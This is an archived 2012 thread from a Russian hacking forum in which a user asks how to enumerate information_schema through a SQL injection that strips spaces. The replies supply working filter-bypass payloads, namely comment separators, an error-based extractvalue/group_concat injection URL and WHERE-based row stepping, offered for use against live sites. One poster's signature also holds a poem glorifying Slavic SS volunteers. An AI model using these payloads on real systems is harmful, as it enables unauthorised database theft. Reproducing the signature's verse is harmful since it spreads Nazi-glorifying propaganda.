ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
21.06.2012, 23:22
|
|
Познающий
Регистрация: 13.01.2007
Сообщений: 96
Провел на форуме:
575156
Репутация:
50
|
|
Есть скуль, вырезаются пробелы, вместо этого использую скобки (). 5ая версия, хочу пролистать information_schema , но при написании limit(1,1) ничего не выводит, group_concat'ом только первые несколько записей видно, мне их не хватает, подскажите что можно сделать? Условия where работают нормально
|
|
|
22.06.2012, 16:14
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210
Репутация:
2017
|
|
/**/ ни кто не отменял....]
Сообщение от None
select/**/from/**/blalba/**/limit/**/1,1
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
|
|
|
|
22.06.2012, 16:20
|
|
Познающий
Регистрация: 13.01.2007
Сообщений: 96
Провел на форуме:
575156
Репутация:
50
|
|
Не работает тоже
|
|
|
|
23.06.2012, 03:03
|
|
Banned
Регистрация: 05.05.2009
Сообщений: 1,334
Провел на форуме:
5777251
Репутация:
796
|
|
Сообщение от Tyc00n
Tyc00n said:
Есть скуль, вырезаются пробелы, вместо этого использую скобки (). 5ая версия, хочу пролистать information_schema , но при написании limit(1,1) ничего не выводит, group_concat'ом только первые несколько записей видно, мне их не хватает, подскажите что можно сделать? Условия where работают нормально
В чем проблема юзать безпробельно group_concat в связке скажем с mid или substring
синтаксис при инъекции в рерайте(для примера error-based extractvalue)
site.com/123'and(extractvalue(1,concat(0x3a,select(mid(grou p_concat(table_name),1,32))from(information_schema .tables)where(table_schema!='information_schema')) )))and'
Также, например, можно использовать where как лимит
select(schema_name)from(information_schema.schemat a)where(schema_name>'information_schema')
Сообщение от HAXTA4OK
HAXTA4OK said:
/**/ ни кто не отменял....]
/**/ при скули в рерайте не заюзать, также как и прочие фишки с юрленкодом
|
|
|
|
23.06.2012, 04:08
|
|
Новичок
Регистрация: 12.08.2009
Сообщений: 1
Провел на форуме:
11937
Репутация:
0
|
|
limit хорошо можно заметь через where или having!
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
